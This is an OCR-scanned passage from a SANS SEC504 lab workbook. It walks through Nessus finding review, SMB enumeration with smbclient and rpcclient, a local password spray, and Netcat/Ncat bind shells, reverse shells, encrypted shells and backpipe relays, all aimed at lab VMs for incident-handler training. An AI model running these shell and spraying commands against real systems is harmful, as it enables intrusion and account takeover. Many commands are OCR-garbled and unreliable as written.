attempts to pull the : /etc/passwd | file via TFTP. In this situation, it succeeded. Arbitrary file access is bad. In

addition to grabbing l/etc/passwd 1, it could alsc grab configuration files from the web server or backend
databases.

Often in our testing, simple file access is one step away from a total server takeover,

The detail in this finding indicates that Nessus hos attached o copy of the contents of the . /eto/passwd | file in
the report, Unfortunately, this appears to be a bug in Nessus, since the report does not include the
[ Jeto/passwd | file contents,

File Access Finding

Moving up the chain, let's look at direct file access via the web server. Many web servers support directory
indexing. This allows us to see the files hosted on the server. Sometimes, this is intentional, as in a file server.
However, we often find backup and configuration files. From time to time, we even find build scripts and other
files with passwords in them, such as the example shown here.
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Teinat

It is often the case where dozens if not hundreds of systems will be running the exact same service, For
example, Telnet is still often enabled on internet-facing systems to this day. It may even be Intentional. For
example, some 1SPs use Telnet for remote management of their routers. if configured properly, they ask for a
user 1D and a password. However, if viewed properly, you can see how systems are clustered. In section 1 of the
slide, you see a large number of Telnet servers with the prompt Login:. This would be expected. Not ideal, but

expected,

Copy
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Here 15 the basber from the remcte Telnet server

However, in section 2, you see there was one with a prompt of | zouters> , which means there is no

authentlcation necessary for this router. Again, this is an informational vulnerability, which is actually quite
critical,

L0 HLEDS (fapelD
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Close Firefog, Terminal

Complete this exercise by closing the Firefox browser and the terminal prompt,

Why This Lab Is Important

Vulnerability scanners are great tools, but only if you use them properly. All too often organizations only care
about the Critical and High ranked findings (and they certainly should) but the problem is that these scanners
have limited understanding of your environment. It is tikely that scans in your environment will have hidden
gems ranked as Medium or lower that attackers can leverage to devastating effect.

Bonus (If Time Permits or Homework)
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Evaluate the findings in a second Nessus scan supplied on the Slingshot Linux distribution:
| /home/sec504/CourseFiles/WinLlab, html . Using scrap paper or your favorite editor, make a list of the top
issues you would evaluate further, beyond the standard Nessus prioritization of vulnerabilities.

With permission run a vulnerability scanner in your environment and see what you can discover. Look past the
Critical and High findings to see where had guys are mere likely to focus their attacks.

Additional Resources

MGTS16: Managing Security Vulnerabilities: Enterprise and Cloud thtps/fwww.sans.org/course/imanaging-enterprise-

cloud-saecurity-valnerabilities)




Brief Intro

By using built-in features of any OS, skillful and patient attackers can launch powerful attacks that will bypass
many defensive tools,

Try It Yourself

Use smbclient cand ]_;ia.(-:éiién f on your Linux VM to attack your Windows VM. After enumerating |ocal

users and groups, run the | 200-user~gen.bat . script to create multiple local Windows accounts, then attack
them using a password spray attack using LocalPasswordSprav.psl .

Walkthrough

Overview

smbclient

" root & rpechient

Password Spray

In this exercise you will use several tools included on the Slingshot Linux VM to interrogate data from the
Windows VM over the SMB protacol. You will also create and attack local passwords on the Windows VM using
a password spray technigue,

Qur goals are to open and list SMB sessions with © net session , enumerate all kinds of information on cur
target Windows machines using SharpView on Windows, use the Linux | smhelient ' and - rpoclient tools

to make SM3B sessions, enumerate detailed data with ...l;f)cclient ;, and then drop SMB sassions.

These skills are helpful for incident handlers and are often used by computer attackers, You also rely on them
on the book 6 Werkshop,

Copyright © 2015, Joshua Wright and Mike Murr, All Rights Reserved S0



Requirements for this Lab

In this lab you will use both your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running

before continuing with the lab exercise.

Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the ping ': utility:

sec5048@slingshot:~% ping -o 3 10.10.0.1

PING 10.10.0.1 (10.10.0.1} 56(84) bytes of data.

64 bytes from 10.10.0.1: icmp seg=1l tti=128 time=0.872 ms
64 bytes from 10.10.0.1: icmp seg=2 tti=128 time=1.14 ms
64 bytes from 10.10,0.1: icmp seq=3 ttl=128 time=1.40 ms

---10.10.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

Repeat this step, this time testing the connectivity from the Windows VM to the Linux VM:

C:\Users\Sec504> ping 10.10.75.1

Pinging 10.10.75.1 with 32 bytes of data:

Reply frem 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10.10.75.1: bytes=32 time=lms TTL=64
Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10.10.75.1: bytes=32 time=lms TTL=64

pPing statistics for 10.10.75.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = lms, Average = Oms

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual
Machine Connectivity (vM-Cennectivity-Test.htmh) module for troubleshooting steps.

Open a Terminal

From the Slingshot Linux VM, open a terminal.
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It is not necessary to access root privileges for this lab.

Enumerate Shares with smbclient

We start by using é.“s.r.nbcllliénf - on Linux to pull a list of shares from Windows.

Runthe = smbelient - command shown below. When prompted, type your sec504 account's password:

secb04@slingshot:~$ smbelient I, 10.10.0,1 -U sech4

WARNING: The "syslog" option is deprecated

Enter sech04's password: sechd4

Domain=[SEC504STUDENT] OS=[Windows 10 Enterprise 17134] Server—[Windows 10 Enterprise

6.3}
Sharename Type Comment
ADMINSG Disk Remote Admin
c$ Dislk Default share
IPCs IPC Remote IPC

Connection to 10.10.0.1 failed (Error NT_STATUS RESOURCE NAME NOT FOUND)
NetBIOS over TCP disabled -- no workgroup available

You should see a list of shares on the Windows box, including ~ aomrus -, : IPC.$._.:, and | c5 ‘. These are the
default admin shares that the Windows | net view ! command hides by default. You may see additional
shares if you created any.

You may also see some warning messages at the bottom of the output (as shown in ths example} including Called
name not present, NetBIOS over TCP disabled, and more. You can safely igniore these, The share list is the focus of
this lab.

Enumerate Target Information with rpeclient

target Windews system, as shown here;
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sec504@slingshot:~$ rpeclient 10.10.0.1 -U sec504

Enter sec504's password: sechl4
rpoclient $>

From the | rpcclient | prompt, fet's experiment with some commands to extract information from the target.

First, note that the | rpeclient prompt has Tab autocomplete, Type enum at the prompt with no space

after it, and then hit the  Tab | key twice:

rpcclient $> enum<TabTab>

enumalsgroups enumdomnusers
enumdata enumdrivers
enumdataex enumforms
enumdomains enumiobs
enumdongroups enumkey

things. Let's try enumerating users:

rpoclient $> enumdomusenrs

user: [Administrator] rid:[0x1f4]
user: [Defaultdccount] rid: [0x1£7]
user: {Guest] rid:[0x1f5]

user: [3ec504] rid: [0x3eB]

user: [WDAGUtlilityAccount] rid:[0x1f8]

enummonitors SNUMPrOCcs
enumports enumtrust
enumprinters

enumprivs

enumprocdatatypes

" enum -, We can enumerate many

This cornmand shows all users on the box (local users and any demain users the systern knows about). We can
see the users' names and their Relative dentifiers (RIDs), which are the suffix of the SID number for each
account in hexadecimal form. (The admin account has a RID of 0x1f4, which is decimal 500.)

To get an idea of all the commands available within = rpcelient -, run the following:




CLUSAPI
clusapi_open cluster bla
clusapi_get cluster name bla
clusapi_get cluster version bla
clusapi_get guorum resocurce bla
clusapi_create enum bla
clusapi open resource bla
clusapi_online resource bla
clusapi_offline resource bla
clusapi_get_rescurce state bia
clusapl_get_cluster version2 bla

WITNESS
GetInterfacelist
Register
UnRegister

AsyncNotify
RegisterEx

A huge number of commands are available. Let's explore some of the most useful enes.

Enumerate Server Info and Groups with rpcclient

Let's use | rpcclient ' to enumerate server info. Run the | srvinfo command from the | rpeclient ;
proempt, as shown here:

rpcclient $»> srvinfo

10.10.0.1 Wk Sv NT PtE LMB Sech04Student
platform id : 500

os version : i0.0

server type : 0x51003

Here, you see the IP address and the OS version.

Now, let's get a list of groups, First, we pull domain-related groups {typically groups created on the local
machine either by an admin there or within the dornain):
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rpeclient $> enumalsgroups domain
user: [Ssh Users] rid:[0x3e9]

Remember, the als in the middie of enun | ond groups stands for alias.

Next, we pull internal groups (typically the default groups defined by Microsoft):

rpcclient $> enumalsgroups builtin
group: [Access Control Assistance Operators] rid: [0x243]

group: [Administrators] rid:{0x220]

group: [Backup Operators] rid: [0x227]

group: [Cryptographic Operators] rid:{0x239]

group: [Pistributed COM Users] rid:[0x232]

group: [Event Log Readers] rid:[0x23d]

group; [Guests] rid: [0x22Z]

group: [Hyper-V Administrators] rid: [0x242]

group: [IIS_TUSRS] rid: [0x238]

group: [Network Conflguration Cperators] rid: [0x22c]

group: [Performance Log Users] rid:{0x22f]

group: [Performance Monitor Users] rid:[0xZ2Ze]
group: [Power Users] rid:[0x223]

group: [Remote Desktop Users] rid: [0xz22b]

group: [Remote Management Users] rid;[0x244]
group: [Replicator] rid: [0x228]

group: [System Managed Accounts Group] rid:[0x245]
group: [Users] rid:[0x221]

Together, these are all the groups defined on the machine, Note that we have the group names and their RIDs
in hexadecimat form.

Enumerate Admin Account Details

. queryuser = command. Let's
run it with a ~ rTD | of 500, which is the RID of the ariginal administrator account in Windows. Even if the

administrator account is renamed, it still has this RID.




rpceclient §> quaryuser 500
User Name H Administrator
Full Name
Home Drive
Pir Drive
Profile Path:
Leogon Script:

Description : Built-in account for administering the computer/domain
Workstations:
Comment

Remote Dial

Logon Time H Thu, 01 Jan 1970 00:00:00 UTC

Logoff Time : Thu, 01 Jan 1970 00:00:00 UTC

Kickoff Time : Thu, 14 Sep 30828 (02:48:05 UTC
] Password last set Time H Thu, 01 Jan 1970 0€:00:00 UTC
é Pagsword can change Time Thu, 01 Jan 1970 00:00:00 UTC
: Password must changs Time: Thu, 14 Sep 30828 02:48:05 UTC

unknown 2[0,.31]...

user rid : Ox1f4

group rid: 0x201

ach_info : 0x00000211

fields present: OxU0Lfffff

logon divs: 168

bad_password_count: 0x00000000

logon_count: 0x00000000

paddingi(0..7]...
logon hrs[0..217...
rpcclient $>

In the output we can see the account’s name and other detalls, such as the last time the user set the password
for this account! We can also see the | bad_password count | for logon failures and more,

Examine SMB Sessions

Now, let's look at our outbound = sMB session | (where we're acting as a Windows SMB client).

Return to your Windows YM. Open a Command Prompt as an administrator by right-clicking on the Command
Prompt icon and selecting Run as administrator.

Next, let's look at the inbound SMB session (where we're acting as a Windows SMB server);

)
o
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C;\Windows\system32> net ssssion

Computer User name Client Type Opens Idle time

\W10.10.75.1 secs04 4 00:01:26
The command completed successfully.

C:\Windows\system32>

If you receive the error System error 5 has occurred, close your Command Prompt. Open o new Command Prompt
as an administrator and run the command again,

3 : attacker,

Looking Up SIDS

Let's look at a couple of other accounts with the | rpc.c”l.i.e.nt D 1ookupﬁe{fq.é$.. feature, starting with our user
account sech04.

Return to the Slingshot Linux VM and issue the 3 ioéﬁﬁﬁnaﬁéé" sec504 | command at the l;:lll‘:cc]r_rien{:‘ j
promut, as shown here;

rpeclient §> lockupnames secB04
sec504 8-1-5-21-2877773840-2930196165-1551093962-1000 (User: 1)

We seethe sIn : of the sec504 account with the RID 1000 (at the end of the SID output), Next, let's look up the

administrator account:

rpeclient $> loskupnsmes adwinistrator
administrator $-1-5-21-2077773840-2930198165~1551093962-500 (User: 1}

Conyris




Now, let’s look up a name that is a group, not a user, by adding an s at the end of administrator:

rpeclient $> lookupnames administrators
administrators 8-1-5-32-544 {(Local Group: 4)
rpoclient §> |

shown here;

C:\Windows\system32> net session

Computer User name Client Type Opens Idle time

\M\10.10.75,1 sec504 5 00:01:57

You should see an inbound session from a client type of sec504. The * rpeclient © tool made this session from

Linux to Windows. Let's drop it in Windows by adding | \\10.10.75.1 /del tothe - net session
command, as shown here;
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C:\rnet sessien \\i0.10,.75.1 /del
The sessicon from 10.10.75.1 has open files.

Do you want to continue this operatien? (¥Y/N) [W]: ¥ ;

The command completed successfully.

C:\Windows\system32>

Enter Y at the prompt to complete the command,

C:\Windows\system32> net sassion

| i There are no entries in the list.

Finding Weak Passwords

Next, we are going to see just how dangerous SMB access can be,

For this part of the lab we are going to create 200 users with a simple user generation script, then attack the
passwords, From your administrative Command Prompt, change to the ' c:\Tcols = directory, as shown here:

i ‘ C:\Windows\system32> cd \Toonls
. C:\Tools>

Next, run the . 200-user-gen.bat script to create multiple user accounts,

Copyrig




The

The

The

The

errors, double check you are running your Command Prompt as an administrator.

Configure a Password Spray Attack using PowerShell

Next we will use a PowerShell module to implement a password spray attack against the Windows VM.,

command

command

command

command

completad

completed

completed

completed

C:\Tools> 200-user-gen.bat
The command completed successfully.

successfully.

succaessfully.

sucecesstully.

successiully.

Ifyoti see fots of The command completed success

iy | messages, it means the script is working. If you got

From the administrative Command Prompt (still in the C:\Tools directory), start PowerShell, as shown here:

C:\Tools> powarshell

Windows PowerShell

Copyright

PS C:\Tools> Sat-BxecutionPolicy Unrestricted

Next, load the module to implement the password spray attack, as shown here;

(C} 2016 Microscft Corporation. All rights reserved.
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PS C:\Tools> Import-Module .\LocalPasswordSpray.psl

Siart the Password Spray Attack

specifying a single password to use as a password guess on all local accounts. Start with a simple password
guess of Winter2019, as shown here:

PS C:\Tools> Invoke-localPasswordSpray ~Password Wintsr2018
#444# Making a list of all local users #i###

& subdirectory or file C:\templ already exists.

[*] Using C:\temp\UserList.txt as userlist te spray with

[*] Password spraying has started. Current time is 3:10 EM

[*] This might take a while depending on the total number of users
[*] SUCCESS! User:Christopher Password:Winter201l9

[*] SUCCESS! User:Dennis Password:WinterZ0l9

[*] SUCCESS! User:Gregory FPassword:Winter2018

{*] SUCCESS! User:Jack Password:Winterz2019

[*1 SUCCESS! User:Jerry Password:Winter2019

[*] SUCCESS! User:Michael Password:Winter2C19

[*] Password spraying is complete

[*] Any passwords that were successfully sprayed have been output to C:\temp\sprayed-
creds. txt

See if you can find any other easy passwords. Please note that you can just look at the © .bat script . But
that is not fun, nor is it what you would do in an attack of an audit. Take a few moments and see how many of
the easy passwords you can find with this script.

Cleaning Up

When you are done guessing passwords, let's clean up your system of the ternp accounts.

To do this, we need to first exit PowerShell;




B3 C:\Tools> exit

C:\Tools>

C:\Tools> user~remove.bat
The command completed successfully.

The command completed successfully.

The command completed successfully.

The command completed successfully,

The command completed successfully.

NOTE: If you skip this step, you will fikely have issues with the Metasploit iab ot the end of book 3

Testing on a Domain

This part of the lab was designed to look at local passwords. However, doing this on a domain is also very easy.

Too easy in fact. Dafthack of Black Hills Information Security has created a script which can be used on a
domain. It can be found or his GitHub page thapsi/github.com/dafthack/DomainPasswordspray} .

Itis fantastic for fooking for weak passwords in your environment. Please, please, please be careful with
account lockout. The policy of many professional pen test firms is to only use one password at a time and
spread the checks over the lockout period threshaold.

Be careful!

Why This Lab Is Important
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Using nothing but native components, attackers can launch powerful attacks which are simply devastating.
These attacks will almost never be caught with traditional security products. After all, these techniques are using
built-in parts of the operating system... antivirus cannot alert on these executables. IDS/IPS and firewalls
typically cannot help because these tools use expected ports and protocols that are reguired for business use.

Bonus (If Time Permits or Homework)

»  Experiment with the different rpcclient commands. There are many many commanls to try! Note: Not all of
them will work, some are highly specialized and may require settings or systems you do not have.

s Try extending the password spray tool. Fer instance, change it fo test for passwords that are the same as
the username.

o Take a look at the nmap NSE scripts for SMB! They are a great resource for learning more about how a
domain or particular system has SMB configured.

« Review other resources that attackers use to live off the land. A great set of resources can be found here:
https://github.com/apiOcradle/LOLBAS (hupsii/github.comiaplicradle/LOLBAS)

Additional Resouices

SANS SECS60: Network Penetration Testing and Ethical Hacking (hupsy/Awwesans.org/sacss0)
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Brief Intro

Netcat is a powerful tool, In this lab you will use the five different modes of Netcat:
* Mode 1: Making connections to open ports

*  Mode 2: Data transfer {moving files)

* Mode 3: Port and vulnerability sconning

*  Mode 4: Backdoors

¢ Mode 5: Relays

Requirements for This Lab

In this lab you will use beth your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before continuing with the lab exercise.

Try It Yourself

Fire up Netcat and make different connections using the five modes listed above.

Walkthrough

In this lab, you'll be making extensive communication from your Linux VM to your Windows YM and vice versa.
First, test that your VMs are networked correctly.

Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the | ping | utility:
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sec5048slingshot:~% ping -¢ 3 10.10.0.1
PING 10.10.0.1 {10.10.0.1) 56(84) bytes of data.
: 64 bytes from 10.10.0.1: icmp seg=1 ttl=128 time=0.872 ms
- 64 bytes from 10.10.0.1: icmp_seq=2 ttl=128 time=1.14 ms
64 bytes from 10.10,0.1: icmp seg=3 ttl=128 time=1.40 ms

--- 10.10.0.,1 ping statistics -—-
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

Repeat this step, this time testing the connectivity from the Windows VM to the Linux VM:

C:\Users\Sec504> ping 10.10.75.1

Pinging 10.10.75.1 with 32 bytes of data: ;
Reply from 10.10.75.1: bytes=32 time<lms TTL=64 i
Reply from 10.10.75.1: bytes=32 time=lms TTL-64
Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from 10.10,75.1: bytes=32 time=lms TTL=64

Ping statistics for 10.10.75.1:
Packets: Sent = 4, Recelved = 4, Lost = 0 (0% loss),
Epproximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Ilms, Average — 0Oms

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual
Machine Connectivity vim-Connectivity-Test.ntmiy meodule for troubleshooting steps.

Mode 1: Simpla Client and Listener "Chat"

To start getting familiar with Netcat, create a simple listener on the Linux VM, then connect to the listener from
Windows. Input you type on one side will automatically appear on the other side.

First, open a terminal on Linux, From the terminal, start a Netcat listener on port 2222 as shown:




Note that the first  nc - argument is o dash, followed by lowercase L. Not a dash-one!

Afthough you don't see any output, the Netcat fistener is running.

Next, switch to your Windows VM. From a Command Prompt, cannect to the Linux Netcat listener:

This Netcat connection is o client that does nothing but connect to the listener on the Linux V.
Next, type stuff in either the client (Windows) or the listener (Linux) and watch what happens on the other side!

In this part of the exercise you created o simple chat program. Look at the figure below. See how the standard in
on the client is connected across the network and is sending data displayed on the standard out of the listener.
Also, the standard in of the listener is connected to the standard out of the client. Neat!

* Standard In Standard In

Standard Out Standard Out
Netcat Listener Netcat Client
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After sending some data back and forth as chot messages, close both the Netcat sessions by pressing CTRL+C in
either the Linux terminal or the Windows Command Prompts, Notice how both Netcat listeners exit, since the
connection is terminated.

Next, you'll expand on this idea.

Mode 2; Pull a File

in this next step, you will set up a listener on Windows, waiting to deliver a file to any client that connects. Then
you will use the client on Linux to make a connection to the listener to grab the file.

First, creata the file to transfer. From the Windows Command Prompt, create a file using the echo utility, as

shown:

C:\Users\Sach04> echo this is tewb >text.ixt

Then, in the same Command Prompt, create a listener on a local port and direct the text file into the input of
this listener:

C:\Users\Sec504> nc -1 -p 1234 < text. . tzt

Note thot the first ne | argument is a dash, followed by lowercase L. Not a dash-one!

Although you don't see any output, the Netcat listener is running.

Next, switch to your Linux VM. From your terrminal, create a Netcat client that connects to the listener, gets the
file, and writes it to . received.txt .




sec5048slingshot:~§ ne 10.10.0.1 1234 > received.txt

There's no indication that Netcat has completed. It takes milliseconds to finish transferring this small file, so just
press CTRL+C in the Linux terminal to stop Netcat.

Next, look at the file by typing:

sec504€slingshot:~$% cat received.txt
this is text

Think about what happened here, You creoted g file on Windows, and transferred it using a TCP network socket
through a combination of Netcat listener and Netcat client, on different operating systems. This is just a small
taste of the things that you can do with Netcat.

You just transferred the fite using Netcat in TCP mode. If you have extra time, try this in UDP mode. With UDP
mode, press Enter after connecting with the client to force it to flush the file contents. Also, remember: UDP
mode is activated on both the client and the server with the i -u  option.

Mode 2: Push a File

In the previous step, you created a listener waiting to send a file, which you pulled from the target using a client
connection.

Next, you will set up a listener to wait for for a client to connect and push a file to the listener,

First, from your Linux termiral, create a file to send:

sec504@slingshot:~% echo SANS >Film. txt
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Next, switch to your Windows YM. From the Command Prompt, create a Netcat listener waiting for the file:

C:\Users\Sec504> nc ~1 =p 4321 > rvecelwed?, txt

Nate thot the first . nc . orgument is a dash, followed by lowercase L. Not o dosh-onef

Although you don't see any output, the Netcat listener is running.

Next, switch back to your Linux VM and create a Netcat cient to push the file:

sec504@slingshot:~5 ne 10.10.8.1 4321 < file. txt

There s no indication of Netcat's success, Press CTRL+C to drop connection, then look at the file transferred.

C:\Users\Sec504> type receivedZ.hLrt
SANS

Think about how this lab differs from the previous one. Before, we were pulfing a file from a listener back to a
client. Here, the client is pushing the file to the listener, Note that it doesn't matter which side is Linux and which
is Windows. We can pull or push fites to or from either operating system.

Mode 4: Create a Linug Backdoor

Now that we've transferred files, let's look at creating a shell listener to use as a backdoar on the Linux VM. In
this step you will create a listening backdoor shell on Linux and connect to it from the Windows VM.




Earlier in this exercise, on Linux, you created a Netcat listener on port 2222, This listener was used as a simple

chat server, waiting for a connection from a Netcat client. You will repeat that step here, but instead of using it
for a chat service, you will use it to execute a command shell,

From the Linux terminal, issue the following Netcat command to listen on TCP port 7777, adding the | -«
/bin/sh .« argument to invoke the ' sh . shell when the client connects;

sec504@slingshot:~$ ne -1 -p 7777 -e /bin/sh

Note that the first nc c argument is a dash, followed by lowercase L. Not a dosh-anel

Although you don't see any output, the Netcat listener is running.

Next, switch to the Windows VM Command Prompt. Create a Netcat client that connects to the Linux YM
listener:

C:\Users\Sec504> ne 10.10.75.1 7777

When you connect to the listener, you won't see a Command Prompt because that is not passed back to the

attacker using this technique. You just see a blank line, waiting for you to enter commands on your Windows
box for execution on the Linux shell,

Enter the following commands, one per line, pressing enter after each command and observe the responses
that are returned:

. ; whéami
. Cdid
. : pwd
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whoami

sec504

id

uid=1002(sec504) gld=1003(sec304) groupSﬂiOOB(sec504),27(sudo),999(kismet)
pwd

/home/sec504

These commands, typed in the attacker's machine (your Windows VM), are transferred to the tistener on the
victim machine {your Linux VM), where they are executed. Note that there is no output on the victim's screen
because the standard cutput of the victim listener is attached to the command shell " /bin/sh ' and is carried
back to the attacker across the network by Netcat. This output is then displayed on the attacker's screen.

Feel free to experiment and run additional commands using the backdoor connection. When you are finished,
press CTRL+C to drop the connection.

If you have extra time, try this using UDP mode on the client and listener. Note that UDP mode is flaky. It sends
data, but likely won't give you a true interactive backdoor.

Mode 4; Reverse Windows Shell

In the previous step you set up a listener waiting for a connection before executing a shell. Next you will create
a reverse shell connection from a Netcat client (on Windows) to a Netcat listener (on Linux). This is ke pushing
an outgoing connection from client to listener with commands typed at the listener (a classic reverse shell).

First, create a listener in the Linux VM that will be your attacking system:

sec504@slingshot:~$ zno -1 -p 8888

Note that the first - ne  argument is a dash, followed by fowercose L. Not o dash-one!

Although you don't see any output, the Netcat listener is running.




This listener doesn't do anything other than wait for a connection. It takes whatever you type and sends it to

the other side as a response after a connection is established by a client. The attacker would execute this
command on his or her own machine,

Next, you will send a shell to the listening server as a client. This is known as sheff shoveling. This is a step the
attacker woudd run on the victim machine to make the reverse shell connection.

From the Windows Command Prompt, send the emd.exe  shell to the Netcat listener:

C:\Users\Sec504> ne 10.10.75.1 8888 ~= comd.exe

Return to the Linux VM (the attacker system), Notice how the Netcat listener prompt has changed to show a
Windows Command Prompt interface. This is because the Netcat client shoveled the | cmd . exe : shell to the

listener, sending the output of the Command Prompt over the Netcat socket to the Linux attacker system,

in the terminal window, type the following commands to be executed on the Windows victim system:

* | echo %username$ |
¢ o dir
. hostnanme !
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Microsoft Windows [Version 10.0.14393]
{c} 2016 Microsoft Corporation. All rights reserved.

C:\Users\8ec504> scho Fusarnamsd
echo %usernamay
Sec504

C:\Users\Sec504> hostname
hostname
Sech045tudent

C:\Users\Sech04> dirx

dir

volume in drive C has no label.
Volume Serial Number is FA1Z2-EC34

Directory of C:\Users\Sech04
03/06/2018 06:49 AM <DIR>

03/06/201% 06:49 BM <DIR>
omitted for space

Feel free to experiment and run additional commands using the backdoor connection. When you are finished,
press CTRL+C to drop the connection,

Muode 5: Create Linux Relay

Next you will create a Linux Netcat relay. We relay a connection frem our Linux box, through a relay on its own
local host on a different port, all the way to a shell on our Windows box,

Start by running a listening shell on Windows:

C:\Users\Sec504> nc ~1 -p 54321 -e cad.exe

Note that the first © nc : argument is o dash, followed by lowercase L. Not a dash-onel

Lt

O, o hon Wrkg




Although you don't see any output, the Netcat listenier js running,

Next, in a termiral on your Linux box, build a relay by first creating a named pipe (a FIFO queue object) which

we call 2 . backpipe | with the filename @ p '

Although you don't see any output, the Netcat fistener relay is running.

Next, start another terminal window on your Linux machine. In the new terminal, run a Netcat client to connect
to the relay;

sec504@slingshot:~$ ne 127.0.0,1 11111
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Secs04>

In the attacker's window on Linux, run the following Windows commands. These commands are being sent
through your Linux relay and executed on Windows.

. . whoami

* | hostname |
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Although this looks like o Windows Command Prompt, remember to enter these commands on the attacking Linux
V!

C:\Users\Sec504> hostname
hostname
Sec5045tudent

C:\Users\Sec504> whoami
whoami
sech04student\sech04

Stop your relay by hitting CTRL+C in each of the windows.

Using Neat

Ncat is the Nmap variation to Netcat. Let's try a few Netcat technigues using Neat.

Ncat can send a shell to a port. From a Windows Command Prompt, start an Ncat listener, returning a
| emd.exe | shell to anyone who connects:

Ci\Users\SecS504> mcat -~} 2222 -e cnd,exe

Next, switch to your Linux VM and run the following from a terminal:

sec504@slingshot:~% neat 10,10.0.1 2222
o Microsoft Windows [Version 10.0.14393] z
b : (c) 2016 Microsoft Corporation. All rights reserved.

SR : C:\Users\Sec504>




Press CTRL+C to close the session.

sec504@slingshot:~§ echo "Hi there” > neat send. txt
sec504@slingshot:~$ neat ~1 8888 < ncat send. txt

Next, return to your Windows VM. From a Command Prompt, connect to the Neat listener, directing the
contents of the TCP connection to & file. Press CTRL+C to close the Netcat connection after a few seconds.:

C:\Users\Sec504> neat 146.10.75,1 E888 > ncat_send. txt
rC

C:\Users\sSec504> type noat_send.txt

Hi there

These examples of using Ncat are very simifar to using Netcat, Next we'll look at features of Ncat that Netcat does
not offer.

Neat and S81L

One feature of Ncat is that it can create SSL-encrypted sessions.

From your Linux VM, open a terminal and elevate to root privileges on Linux using the = sude : command.

sech04,
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sech04@slingshot:~5 sudo su
[sudo] password for sec504: sechb0d
root@slingshot: /home/sec5044%

Next, create the Neat listener, adding the | —ssl - argument to encrypt the TCP data. Configure Ncat to
execute a shell when a client connects to the listener,

root@slingshot:/home/sec504# ncat =--ssl -1 443 -e /bin/sh

sech04@slingshot:~% sudo =u
{sudo] password for sec504: sechid
root@slingshot; /home/sech0d#

Next, start = tcpdump . to display the SSL traffic.

root@siingshot:~# tepdump -s -%¥ ~i sathl poxt 443
topdump: verbose output suppressed, use -v or -vv for full protecol decode
listening on eth0, link-type EW10MB (BEthernet), capture size 262144 bytes

Next, switch to your Windows VM. Connect to the Linux VM Ncat listener and send some data over the S5L

connection.

C:\Users\Sec504> neat -—sal 10.10,.75.1 443

RESRIVEE




Once connected run the following commands:

. id |

. pwd

. uname -a
id
uid=0C{root} gid=0{root] groups=0{root)
purd
/home/sech04q
uname =z ]
Linux slingshot 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 :
xB86_64 x86 64 GNU/Linux

Switch back to the Linux VM. Review the tcrpdmnpré cutput and examine the network activity, Note that none
of the packet data is transferrad in plaintext; all of the data is encrypted,

04:33:38.450188 IP 10.10,0.1.1545 > slingshot.https: Flags [P.], seq
2632913866:2632913898, ack 2007384200, win 251, length 32
0x0000: 4500 0048 374e 4000 8006 644c Oala 00C1 E..H7N@...dL...,

0x0010: Oala 4b01 0609 Olbb 9cef 13ca 77a6 6798 ..K......... w.g.
0=0020: 5018 00fb 3dda 0000 1703 0300 1b51 e04b P...=........ Q.K
0x0030: 3598 48b8 7£40 187d 4efl dedd 0b%a 1310 S.H..E.IN.......
0x20040: 5Seeb5 3cf9 L8834 aeca ca<l L.

04:33:38.452601 IP slingshot.https > 10.10.0.1.1545: Flags [P.], seq 1:69, ack 32,
win 245, length 68
0x0000: 4500 006c deo2e 4000 4006 f£f47 Qala 4b0l E..1..6.0..G..K.

0x0010: 0ala 0001 Olbb 0609 77a6 6798 9cef 13ea ........ Weldeeoo,

0x0020: 5018 00f5 5f£74 0000 1703 0300 3f5e celc P.o.._t...... AR :
0x0030: 5766 ec3c 7254 6bca edd3 8505 £734 77¢c3 WE..6...} 3
0x0060: ffd4e d963 73d3 87d7 dcic c08se N.cs....L.. :

Because the Ncat activity is encrypted, it is much horder for o defender to identify the activity as maficious,

The Challenge

Your challenge is to devise a command for the protected machine that gives your external box access to that
root-level shell. Don't just run another Netcat listener from one window, because it has limited privileges;
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instead, you have to connect to the listener that already exists.

To model this scenario, on your Linux machine, open three terrinal windows, We will refer to these three
terminal windows as:

= Netcat listener
» Internal system
= External system

These three terminals will represent three different systems, as shown in this illustration.

Firewall blocks all Listener.
inbound, but allows 5 sude su —

outbound .~ # ne -1 -p 7777 -e /bin/sh

[
ﬁ%% vy

 External

L R SR

In the Netcat listener window, start a Netcat listener, running with root privileges:

sec5048slingshot:~% sudo su -~
[sudo] password for sechld: sea50d
root@slingshot:~% ne ~1 -p 7777 -2 /bin/sh

The second window is the internafl system where you want to type a command to implement access from the
external system to the inside system.

The third window Is the external system, where you have a command shell with limited privileges.

Figure out which ccmmands to type at the second and third terminal s prompts to give one of them access
to the root-level | /bin/sh i,




DO NOT SCROLL FURTHER UNLESS YOU WANT HINTS

Hint #1

Think about Netcat relays. Somehow a specialized Netcat relay is involved.

It won't look exactly like this figure, but perhaps it will inspire you.

Hint #2

We've seen listener-client relays so far. But do they always have to be formed that way? Can you think of
anather relay option that pushes a connection both ways?

Scenarie I: One Possible Answer

On the external box, you could run something to catch the shell that the relay is going to push to us:

sec504fslingshet:~$ ne -1 ~p 4444 =@ /bin/sh

Now, on the victim machine, make a client-to-client relay in your user account’s heme directory:
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sec504@slingshot:~$ od

sec504@slingshot:~§ nknod backpipe p

sec504@slingshot:~% ne 127.0.0.1 4444 O<backpipe | nc 127.0.0.1 2222
1xbackpipe”

For this fo work, you must be in a directory where your non-UID 0 (student} account can write files, If you get a

permissions error, chunge directories into | /tmp ! and work from there.

Now, in the external window, type whoami |, and see If your commands are indeed running with root

privileges on the target,

One Answer (Graphically)

Here is what this solution locks like, in both a figure and as screenshots,
